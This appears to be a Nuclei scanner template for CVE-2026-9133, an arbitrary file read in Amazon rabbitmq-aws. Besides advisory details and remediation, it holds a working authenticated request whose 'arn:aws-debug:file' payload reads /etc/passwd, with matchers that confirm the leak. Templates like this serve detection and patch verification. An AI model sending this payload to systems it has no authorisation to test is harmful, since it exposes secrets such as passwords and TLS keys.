id: CVE-2026-9133 info: name: Amazon rabbitmq-aws 0.1.0 through 0.2.0 - Arbitrary File Read author: ye11oc4t severity: high description: | Amazon rabbitmq-aws versions 0.1.0 through 0.2.0 contain active debug code in the ARN resolver. An authenticated RabbitMQ user with management API access can submit an arn:aws-debug:file ARN to the validation endpoint and read arbitrary files accessible to the RabbitMQ process. impact: | Authenticated attackers can disclose sensitive configuration files, passwords, TLS private keys, and other secrets readable by the RabbitMQ process. remediation: | Upgrade rabbitmq-aws to version 0.2.1 or later. If upgrading is not immediately possible, disable the aws plugin and rotate secrets stored in files that the RabbitMQ process could read. reference: - https://github.com/amazon-mq/rabbitmq-aws/security/advisories/GHSA-8554-wg4r-7hxm - https://aws.amazon.com/security/security-bulletins/2026-034-aws/ - https://nvd.nist.gov/vuln/detail/CVE-2026-9133 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N cvss-score: 7.7 cve-id: CVE-2026-9133 epss-score: 0.01085 epss-percentile: 0.64978 cwe-id: CWE-489 metadata: verified: true max-request: 1 vendor: amazon product: rabbitmq-aws tags: cve,cve2026,amazon,rabbitmq,aws,lfi,authenticated variables: username: "{{username}}" password: "{{password}}" credentials: "{{ username + ':' + password }}" http: - raw: - | PUT /api/aws/arn/validate HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Basic {{base64(credentials)}} {"arns":["arn:aws-debug:file:::/etc/passwd"]} matchers: - type: dsl dsl: - 'contains(body, "arn:aws-debug:file:::/etc/passwd")' - 'contains(content_type, "application/json")' - 'regex("root:[x*]:0:0:", body)' - 'status_code == 200' condition: and # digest: 4a0a004730450221008e886c87ca969b80a1dce8353c9cc9b9e368175b0378a10bb74f34a82aab0d1502207a41aa33f1344493c32d3181829c34612402162242ad26ac07edb2dce61ed136:922c64590222798bb761d5b6d8e72950